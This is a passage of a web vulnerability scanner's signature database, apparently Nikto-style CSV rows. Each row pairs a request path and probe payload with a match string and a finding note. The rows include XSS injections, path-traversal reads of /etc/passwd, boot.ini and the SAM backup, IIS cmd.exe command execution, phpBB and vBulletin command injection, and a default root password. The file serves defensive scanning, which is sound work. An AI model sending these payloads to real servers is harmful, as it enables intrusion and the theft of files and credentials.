  1599. "generic","/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\boot.ini","boot loader","GET","Default scripts can allow arbitrary access to the host."
  1600. "generic","/usage/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1601. "generic","/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=test@test.com","<script>alert(document.cookie)","GET","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1602. "generic","/user.php?op=confirmnewuser&module=NS-NewUser&uname=%22%3E%3Cimg%20src=%22javascript:alert(document.cookie);%22%3E&email=test@test.com","javascript:alert(document.cookie)","GET","Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1603. "generic","/user.php?op=userinfo&uname=<script>alert('hi');</script>","<script>alert('hi');</script>","GET","The PhpNuke installation is vulnerable to Cross Site Scripting (XSS). Update to versions above 5.3.1. CA-2000-02."
  1604. "generic","/usercp.php?function=avataroptions:javascript:alert(%27Vulnerable%27)","<script>alert('Vulnerable')</script>","GET","IcrediBB Bulletin Board System is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1605. "generic","/userinfo.php?uid=1;","Query","GET","Xoops portal gives detailed error messages including SQL syntax and may allow an exploit."
  1606. "generic","/userlog.php","200","GET","Teekai's Tracking Online 1.0 log can be retrieved remotely."
  1607. "generic","/users.php?mode=profile&uid=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
  1608. "generic","/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  1609. "generic","/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","uid","GET","Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html"
  1610. "generic","/vchat/msg.txt","200","GET","VChat allows user information to be retrieved."
  1611. "generic","/vgn/ac/data","200","GET","Vignette CMS admin/maintenance script available."
  1612. "generic","/vgn/ac/delete","200","GET","Vignette CMS admin/maintenance script available."
  1613. "generic","/vgn/ac/edit","200","GET","Vignette CMS admin/maintenance script available."
  1614. "generic","/vgn/ac/esave","200","GET","Vignette CMS admin/maintenance script available."
  1615. "generic","/vgn/ac/fsave","200","GET","Vignette CMS admin/maintenance script available."
  1616. "generic","/vgn/ac/index","200","GET","Vignette CMS admin/maintenance script available."
  1617. "generic","/vgn/asp/MetaDataUpdate","200","GET","Vignette CMS admin/maintenance script available."
  1618. "generic","/vgn/asp/previewer","200","GET","Vignette CMS admin/maintenance script available."
  1619. "generic","/vgn/asp/status","200","GET","Vignette CMS admin/maintenance script available."
  1620. "generic","/vgn/asp/style","200","GET","Vignette CMS admin/maintenance script available."
  1621. "generic","/vgn/errors","200","GET","Vignette CMS admin/maintenance script available."
  1622. "generic","/vgn/jsp/controller","200","GET","Vignette CMS admin/maintenance script available."
  1623. "generic","/vgn/jsp/errorpage","200","GET","Vignette CMS admin/maintenance script available."
  1624. "generic","/vgn/jsp/initialize","200","GET","Vignette CMS admin/maintenance script available."
  1625. "generic","/vgn/jsp/jspstatus","200","GET","Vignette CMS admin/maintenance script available."
  1626. "generic","/vgn/jsp/jspstatus56","200","GET","Vignette CMS admin/maintenance script available."
  1627. "generic","/vgn/jsp/metadataupdate","200","GET","Vignette CMS admin/maintenance script available."
  1628. "generic","/vgn/jsp/previewer","200","GET","Vignette CMS admin/maintenance script available."
  1629. "generic","/vgn/jsp/style","200","GET","Vignette CMS admin/maintenance script available."
  1630. "generic","/vgn/legacy/edit","200","GET","Vignette CMS admin/maintenance script available."
  1631. "generic","/vgn/legacy/save","200","GET","Vignette Legacy Tool may be unprotected. To access this resource, set a cookie called 'vgn_creds' with any value."
  1632. "generic","/vgn/license","200","GET","Vignette server license file found."
  1633. "generic","/vgn/login","200","GET","Vignette server may allow user enumeration based on the login attempts to this file."
  1634. "generic","/vgn/login/1,501,,00.html?cookieName=x--\>","value=\"x--","GET","Vignette server may leak memory with an invalid request. Upgrade to the latest version."
  1635. "generic","/vgn/performance/TMT","200","GET","Vignette CMS admin/maintenance script available."
  1636. "generic","/vgn/performance/TMT/Report","200","GET","Vignette CMS admin/maintenance script available."
  1637. "generic","/vgn/performance/TMT/Report/XML","200","GET","Vignette CMS admin/maintenance script available."
  1638. "generic","/vgn/performance/TMT/reset","200","GET","Vignette CMS admin/maintenance script available."
  1639. "generic","/vgn/ppstats","200","GET","Vignette CMS admin/maintenance script available."
  1640. "generic","/vgn/previewer","200","GET","Vignette CMS admin/maintenance script available."
  1641. "generic","/vgn/record/previewer","200","GET","Vignette CMS admin/maintenance script available."
  1642. "generic","/vgn/style","200","GET","Vignette server may reveal system information through this file."
  1643. "generic","/vgn/stylepreviewer","200","GET","Vignette CMS admin/maintenance script available."
  1644. "generic","/vgn/vr/Deleting","200","GET","Vignette CMS admin/maintenance script available."
  1645. "generic","/vgn/vr/Editing","200","GET","Vignette CMS admin/maintenance script available."
  1646. "generic","/vgn/vr/Saving","200","GET","Vignette CMS admin/maintenance script available."
  1647. "generic","/vgn/vr/Select","200","GET","Vignette CMS admin/maintenance script available."
  1648. "generic","/vider.php3","200","GET","MySimpleNews may allow deleting of news items without authentication."
  1649. "generic","/view_source.jsp","200!License Exception","GET","Resin 2.1.2 view_source.jsp allows any file on the system to be viewed by using \..\ directory traversal. This script may be vulnerable."
  1650. "generic","/viewimg.php?path=../../../../../../../../../../etc/passwd&form=1&var=1","root:","GET","KorWebLog from http://weblog.kldp.org/ allows any file to be read on the system."
  1651. "generic","/viewpage.php?file=/etc/passwd","root:","GET","PHP Nuke script viewpage.php allows any file to be retrieved from the remote system."
  1652. "generic","/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","<DIR>","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1653. "generic","/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","drwx","GET","phpBB is vulnerable to a highlight command execution or SQL inection vulnerability, used by the Santy.A worm. CERT VU497400. OSVDB-11719."
  1654. "generic","/w-agora/","200","GET","w-agora pre 4.1.4 may allow a remote user to execute arbitrary PHP scripts via URL includes in include/*.php and user/*.php files. Default account is 'admin' but password set during install."
  1655. "generic","/warez/","200","GET","Uh oh..."
  1656. "generic","/Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html","root:","GET","eXtropia's Web Store lets attackers read any file on the system by appending a %00.html to the name."
  1657. "generic","/web-console/ServerInfo.jsp%00","<%=","GET","jboss 3.2.1 with jetty seems to disclose source code."
  1658. "generic","/WEB-INF./web.xml","200","GET","Multiple implementations of j2ee servlet containers allow files to be retrieved from WEB-INF by appending a '.' to the directory name. Products include Sybase EA Service, Oracle Containers, Orion, JRun, HPAS, Pramati and others. See http://www.westpoint.ltd.uk/advisories/wp-02-0002.txt fore more info."
  1659. "generic","/WEB-INF/web.xml","web-app","GET","JRUN default file found."
  1660. "generic","/web/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1661. "generic","/webalizer/","Generated by The Webalizer","GET","Webalizer may be installed. Versions lower than 2.10-09 vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1662. "generic","/webamil/test.php?mode=phpinfo","PHP Version","GET","Horde allows phpinfo() to be run, which gives detailed system information."
  1663. "generic","/webamil/test.php","IMP: 3.(0|1|2|2\.1)","GET","IMP version 3.0, 3.1, 3.2, or 3.2.1 are vulnerabl to Cross Site Scripting (XSS). See http://marc.theaimsgroup.com/?l=imp&m=105940167329471&w=2."
  1664. "generic","/webcalendar/colors.php?color=</script><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1665. "generic","/webcalendar/forum.php?user_inc=../../../../../../../../../../etc/passwd","root:","GET","Webcalendar 0.9.41 and below allow remote users to read arbitrary files."
  1666. "generic","/webcalendar/week.php?eventinfo=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1667. "generic","/webcalendar/week.php?user=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Webcalendar 0.9.42 and below are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1668. "generic","/webcart-lite/config/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
  1669. "generic","/webcart-lite/orders/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
  1670. "generic","/webcart/carts/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
  1671. "generic","/webcart/config/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
  1672. "generic","/webcart/config/clients.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
  1673. "generic","/webcart/orders/","200","GET","This may allow attackers to read credit card data. Reconfigure to make this dir not accessible via the web."
  1674. "generic","/webcart/orders/import.txt","200","GET","This may allow attackers to read credit card data. Reconfigure to make this file not accessible via the web."
  1675. "generic","/webchat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1676. "generic","/webmail/","200","GET","Web based mail package installed."
  1677. "generic","/webmail/blank.html","200","GET","IlohaMail 0.8.10 contains a CSS vulnerability. Previous versions contain other non-descript vulnerabilities."
  1678. "generic","/webmail/horde/test.php","Horde Versions","GET","Horde script reveals detailed system/Horde information."
  1679. "generic","/webMathematica/MSP?MSPStoreID=../../../../../../../../../../etc/passwd&MSPStoreType=image/gif","root:","GET","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/"
  1680. "generic","/webMathematica/MSP?MSPStoreID=..\..\..\..\..\..\..\..\..\..\boot.ini&MSPStoreType=image/gif","boot loader","GET","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/"
  1681. "generic","/webtools/bonsai/ccvsblame.cgi?file=/index.html&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1682. "generic","/webtools/bonsai/cvsblame.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1683. "generic","/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1684. "generic","/webtools/bonsai/cvslog.cgi?file=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1685. "generic","/webtools/bonsai/cvsquery.cgi?branch=<script>alert('Vulnerable')</script>&file=<script>alert(document.domain)</script>&date=<script>alert(document.domain)</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1686. "generic","/webtools/bonsai/cvsquery.cgi?module=<script>alert('Vulnerable')</script>&branch=&dir=&file=&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1687. "generic","/webtools/bonsai/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert('Vulnerable')</script>&branch=HEAD","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1688. "generic","/webtools/bonsai/showcheckins.cgi?person=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Bonsai is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1689. "generic","/whateverJUNK(4).html","InterScan HTTP Version","GET","InterScan VirusWall on the remote host reveals its version number in HTTP error messages."
  1690. "generic","/wikihome/action/conflict.php","200","GET","Some versions of this script allow external source to be included/run by appending ?TemplateDir=http://my.host/ to requests."
  1691. "generic","/ws_ftp.ini","200","GET","Can contain saved passwords for ftp sites"
  1692. "generic","/WS_FTP.ini","200","GET","Can contain saved passwords for ftp sites"
  1693. "generic","/wwwboard/passwd.txt","200","GET","The wwwboard password file is browsable. Change wwwboard to store this file elsewhere, or upgrade to the latest version."
  1694. "generic","/wwwping/index.stm?wwwsite=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Sambar Server default script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1695. "generic","/wx/s.dll?d=/boot.ini","boot loader","GET","WebCollection Plus allows any file to be retrieved from the remote system."
  1696. "generic","/Xcelerate/LoginPage.html","Xcelerate Login Page","GET","Xcelerate Content Server by Divine/OpenMarket login page found."
  1697. "generic","/xdk/","Oracle XML Development","GET","Default Oracle documentation found."
  1698. "generic","/xsql/demo/adhocsql/query.xsql?sql=select%20username%20from%20ALL_USERS","USERNAME","GET","This allows attackers to perform queries to the Oracle database. This sample app should be removed."
  1699. "generic","/xsql/demo/airport/airport.xsql?xml-stylesheet=none","cvsroot","GET","This is a sample file which should be removed. Oracle XSQL allows arbitrary code to be execute."
  1700. "generic","/z_user_show.php?method=showuserlink&class=<Script>javascript:alert(document.cookie)</Script>&rollid=admin&x=3da59a9da8825&","<script>alert(document.cookie)</script>","GET","orum 2.4 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1701. "generic","/zorum/index.php?method=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Zorum v3.4 and below are vulnerable to XSS attacks."
  1702. "goaheadwebs","/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini","boot loader","GET","GoAhead Web Server 2.1 is vulnerable to arbitrary file retrieval, upgrade to the latest version."
  1703. "goaheadwebs","/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","GoAhead Web Server 2.1 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1704. "goaheadwebs","/goform/CheckLogin?login=root&password=tslinux","MainPageTable","GET","The Cyclades' web user 'root' still has the default password 'tslinux' set, this should be changed immediately. Also, the id/password is hashed to create the sessionId cookie, which is bad."
  1705. "generic","/\"><img%20src=\"javascript:alert(document.domain)\">","alert(document.domain)","GET","The IBM Web Traffic Express Caching Proxy is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1706. "generic","/file/../../../../../../../../etc/","200","GET","The Icecast server allows the file system to be probed for directory structure, but does not allow arbitrary file retrieval."
  1707. "iis","@CGIDIRScmd.exe?/c+dir","200","GET","cmd.exe can execute arbitrary commands"
  1708. "iis","@CGIDIRScmd1.exe?/c+dir","200","GET","cmd1.exe can execute arbitrary commands"
  1709. "iis","@CGIDIRSfpsrvadm.exe","200","GET","Potentially vulnerable CGI program."
  1710. "iis","@CGIDIRShello.bat?&dir+c:\",","200","GET","This batch file may allow attackers to execute remote commands."
  1711. "iis","@CGIDIRSinput.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
  1712. "iis","@CGIDIRSinput2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
  1713. "iis","@CGIDIRSMsmMask.exe","200","GET","MondoSearch 4.4 may allow source code viewing by requesting MsmMask.exe?mask=/filename.asp where 'filename.asp' is a real asp file."
  1714. "iis","@CGIDIRSpost32.exe|dir%20c:\",","200","GET","post32 can execute arbitrary commands"
  1715. "iis","@CGIDIRSsensepost.exe?/c+dir","200","GET","The presence of sensepost.exe indicates the system is/was vulnerable to a Unicode flaw and was compromised with a test script from SensePost. The sensepost.exe allows command execution (it is a copy of cmd.exe), as did the original unicode exploit (see http://www.securitybugware.org/NT/1422.html). CVE-2000-0884."
  1716. "iis","@CGIDIRSshtml.dll","200","GET","This may allow attackers to retrieve document source."
  1717. "iis","@CGIDIRSSQLServ/sqlbrowse.asp?filepath=c:\&Opt=3","boot.ini","GET","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade."
  1718. "iis","@CGIDIRSstats/statsbrowse.asp?filepath=c:\&Opt=3","boot.ini","GET","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade."
  1719. "iis","@CGIDIRStest.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","boot.ini","GET","This CGI allows attackers to read files from the server."
  1720. "iis","@CGIDIRStst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,","boot.ini","GET","This CGI allows attackers to execute arbitrary commands on the server."
  1721. "iis","/_cti_pvt/","200","GET","FrontPage directory found."
  1722. "iis","/_mem_bin/auoconfig.asp","200","GET","Displays the default AUO (LDAP) schema, including host and port."
  1723. "iis","/_mem_bin/auoconfig.asp","LDAP","GET","LDAP information revealed via asp. See http://www.wiretrip.net/rfp/p/doc.asp/i1/d69.htm"
  1724. "iis","/_mem_bin/formslogin.asp?\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Site Server is vulnerable to Cross Site Scripting"
  1725. "iis","/_mem_bin/remind.asp","Recover","GET","Page will give the password reminder for any user requested (username must be known)."
  1726. "iis","/_private/_vti_cnf/","200","GET","FrontPage directory found."
  1727. "iis","/_private/","200","GET","FrontPage directory found."
  1728. "iis","/_private/form_results.html","200","GET","This file may contain information submitted by other web users via forms. CAN-1999-1052."
  1729. "iis","/_private/form_results.txt","200","GET","This file may contain information submitted by other web users via forms. CAN-1999-1052."
  1730. "iis","/_private/orders.htm","200","GET","Default FrontPage file found."
  1731. "iis","/_private/orders.txt","200","GET","Default FrontPage file found."
  1732. "iis","/_private/register.htm","200","GET","Default FrontPage file found."
  1733. "iis","/_private/register.txt","200","GET","Default FrontPage file found."
  1734. "iis","/_private/registrations.htm","200","GET","Default FrontPage file found."
  1735. "iis","/_private/registrations.txt","200","GET","Default FrontPage file found."
  1736. "iis","/_vti_bin/_vti_aut/author.dll?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false","200","POST","We seem to have authoring access to the FrontPage web."
  1737. "iis","/_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=false","200","POST","We seem to have authoring access to the FrontPage web."
  1738. "iis","/_vti_bin/_vti_aut/dvwssr.dll","200","GET","This dll allows anyone with authoring privs to change other users file, and may contain a buffer overflow for unauthenticated users. See also : http://www.wiretrip.net/rfp/p/doc.asp?id=45&iface=1. MS00-025."
  1739. "iis","/_vti_bin/_vti_aut/fp30reg.dll?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","The remote procedure call failed","GET","This dll is vulnerable to a remote overflow which can allow attackers to execute remote commands."
  1740. "iis","/_vti_bin/_vti_aut/fp30reg.dll","200","GET","Some versions of the FrontPage fp30reg.dll are vulnerable to a buffer overflow. See http://www.microsoft.com/technet/security/bulletin/ms03-051.asp for details."
  1741. "iis","/_vti_bin/_vti_cnf/","200","GET","FrontPage directory found."
  1742. "iis","/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1743. "iis","/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1744. "iis","/_vti_bin/","200","GET","FrontPage directory found."
  1745. "iis","/_vti_bin/admin.pl","200","GET","Default FrontPage CGI found."
  1746. "iis","/_vti_bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
  1747. "iis","/_vti_bin/CGImail.exe","200","GET","Default FrontPage CGI found."
  1748. "iis","/_vti_bin/contents.htm","200","GET","Default FrontPage CGI found."
  1749. "iis","/_vti_bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
  1750. "iis","/_vti_bin/fpcount.exe","CGI Error","GET","Frontpage counter CGI has been found. FP Server version 97 allows remote users to execute arbitrary system commands, though a vulnerability in this version could not be confirmed. CAN-1999-1376. BID-2252."
  1751. "iis","/_vti_bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
  1752. "iis","/_vti_bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
  1753. "iis","/_vti_bin/shtml.dll","200","GET","shtml.exe is available remotely. Some versions of the Front Page ISAPI filter are vulnerable to a DOS (not attempted), see MS-018 for details. CVE-2000-0709. BID-1608"
  1754. "iis","/_vti_bin/shtml.dll/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","200","POST","Gives info about server settings. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
  1755. "iis","/_vti_bin/shtml.exe","200","GET","shtml.exe is available remotely. Some versions of the Front Page ISAPI filter are vulnerable to a DOS (not attempted), see MS-018 for details. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
  1756. "iis","/_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611","200","POST","Gives info about server settings. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
  1757. "iis","/_vti_bin/shtml.exe/_vti_rpc","200","GET","FrontPage may be installed."
  1758. "iis","/_vti_bin/shtml.exe/junk_nonexistant.exe",":\\","GET","This exe shows the full web path when a non-existent file is requested. CAN-2000-0413, CAN-2000-0709, CAN-2000-0710, BID-1608, BID-1174."
  1759. "iis","/_vti_cnf/_vti_cnf/","200","GET","FrontPage directory found."
  1760. "iis","/_vti_inf.html","200","GET","FrontPage may be installed."
  1761. "iis","/_vti_log/_vti_cnf/","200","GET","FrontPage directory found."
  1762. "iis","/_vti_pvt/access.cnf","200","GET","Contains HTTP server-specific access control information, remove or ACL if FrontPage is not being used."
  1763. "iis","/_vti_pvt/administrators.pwd","200","GET","Default FrontPage file found, may be a password file."
  1764. "iis","/_vti_pvt/authors.pwd","200","GET","Default FrontPage file found, may be a password file."
  1765. "iis","/_vti_pvt/linkinfo.cnf","200","GET","IIS file shows http links on and off site. Might show host trust relationships and other machines on network."
  1766. "iis","/_vti_pvt/service.cnf","200","GET","Contains meta-information about the web server, remove or ACL if FrontPage is not being used."
  1767. "iis","/_vti_pvt/service.pwd","200","GET","Default FrontPage file found, may be a password file."
  1768. "iis","/_vti_pvt/services.cnf","200","GET","Contains the list of subwebs, remove or ACL if FrontPage is not being used. May reveal server version if Admin has changed it."
  1769. "iis","/_vti_pvt/svacl.cnf","200","GET","File used to store whether subwebs have unique permissions settings and any IP address restrictions.  Can be used to discover information about subwebs, remove or ACL if FrontPage is not being used."
  1770. "iis","/_vti_pvt/users.pwd","200","GET","Default FrontPage file found, may be a password file."
  1771. "iis","/_vti_pvt/writeto.cnf","200","GET","Contains information about form handler result files, remove or ACL if FrontPage is not being used."
  1772. "iis","/_vti_txt/_vti_cnf/","200","GET","FrontPage directory found."
  1773. "iis","/_vti_txt/","200","GET","FrontPage directory found."
  1774. "iis","/?\"><script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","IIS is vulnerable to Cross Site Scripting (XSS). See MS02-018, CVE-2002-0075, SNS-49, CA-2002-09"
  1775. "iis","/................../config.sys","200","GET","PWS allows files to be read by prepending multiple '.' characters.  At worst, IIS, not PWS, should be used."
  1776. "iis","/../../../../../../../../../boot.ini","boot loader","GET","The remote server allows any system file to be retrieved remotely."
  1777. "iis","/../../../../winnt/repair/sam._","200","GET","Sam backup successfully retrieved."
  1778. "iis","/..\\..\\..\\..\\..\\..\\..\\boot.ini","boot loader","GET","It is possible to read files on the server by adding /../ in front of file name."
  1779. "iis","/","Length Required","SEARCH","WebDAV is installed.\n";
  1780. "iis","/%NETHOOD%/","Microsoft Windows Network","GET","The machine may be infected with the Bugbear.B virus. http://www.f-secure.com/v-descs/bugbear_b.shtml"
  1781. "iis","/<script>alert('Vulnerable')</script>.shtm","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1782. "iis","/<script>alert('Vulnerable')</script>.stm","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  1783. "iis","/admcgi/contents.htm","200","GET","Default FrontPage CGI found."
  1784. "iis","/admcgi/scripts/Fpadmcgi.exe","200","GET","Default FrontPage CGI found."
  1785. "iis","/admentor/adminadmin.asp","200","GET","Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or ="
  1786. "iis","/admin/adminproc.asp","200","GET","Xpede administration page may be available. The /admin directory should be protected."
  1787. "iis","/admin/datasource.asp","200","GET","Xpede administration page may be available (this page reveals SQL account name). The /admin directory should be protected."
  1788. "iis","/admin/sh_taskframes.asp?Title=Configuraci%C3%B3n%20de%20registro%20Web&URL=MasterSettings/Web_LogSettings.asp?tab1=TabsWebServer%26tab2=TabsWebLogSettings%26__SAPageKey=5742D5874845934A134CD05F39C63240&ReturnURL=\"><script>alert(document.cookie)</script>?tab1=TabsWebServer%26__SAPageKey=5742D5874845934A134CD05F39C63 240%26R=0.6756681557204625&R=0.9895845379540951&__SAPageKey=5742D5874845934A134CD05F39C63240","<script>alert(document.cookie)</script>","GET","IIS 6 on Windows 2003 is vulnerable to Cross Site Scripting (XSS) in certain error messages. CA-2000-02."
  1789. "iis","/admisapi/fpadmin.htm","200","GET","Default FrontPage file found."
  1790. "iis","/asp/sqlqhit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1791. "iis","/asp/SQLQHit.asp","CHARACTERIZATION","GET","This sample ASP allows anyone to retrieve directory listings."
  1792. "iis","/bin/admin.pl","200","GET","Default FrontPage CGI found."
  1793. "iis","/bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
  1794. "iis","/bin/CGImail.exe","200","GET","Default FrontPage CGI found."
  1795. "iis","/bin/contents.htm","200","GET","Default FrontPage CGI found."
  1796. "iis","/bin/fpadmin.htm","200","GET","Default FrontPage CGI found."
  1797. "iis","/bin/fpremadm.exe","200","GET","Default FrontPage CGI found."
  1798. "iis","/bin/fpsrvadm.exe","200","GET","Default FrontPage CGI found."
  1799. "iis","/blahb.ida","200!file blahb.ida could not","GET","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033."
  1800. "iis","/blahb.idq","200!file blahb.ida could not","GET","Reveals physical path. To fix: Preferences -> Home directory -> Application & check 'Check if file exists' for the ISAPI mappings. MS01-033."
  1801. "iis","/c/winnt/system32/cmd.exe?/c+dir+/OG","Directory of C","GET","This machine is infected with Code Red, or has Code Red leftovers."
  1802. "iis","/certsrv/..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1803. "iis","/certsrv/..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1804. "iis","/cgi-bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS is vulnerable to a double-decode bug, which allows commands to be executed on the system. CAN-2001-0333. BID-2708."
  1805. "iis","/cgi-bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir","<DIR>","GET","IIS Unicode command exec problem, see http://www.wiretrip.net/rfp/p/doc.asp?id=57&face=2 and http://www.securitybugware.org/NT/1422.html. CVE-2000-0884"
  1806. "iis","/cgi-bin/admin.pl","200","GET","Default FrontPage CGI found."
  1807. "iis","/cgi-bin/cfgwiz.exe","200","GET","Default FrontPage CGI found."
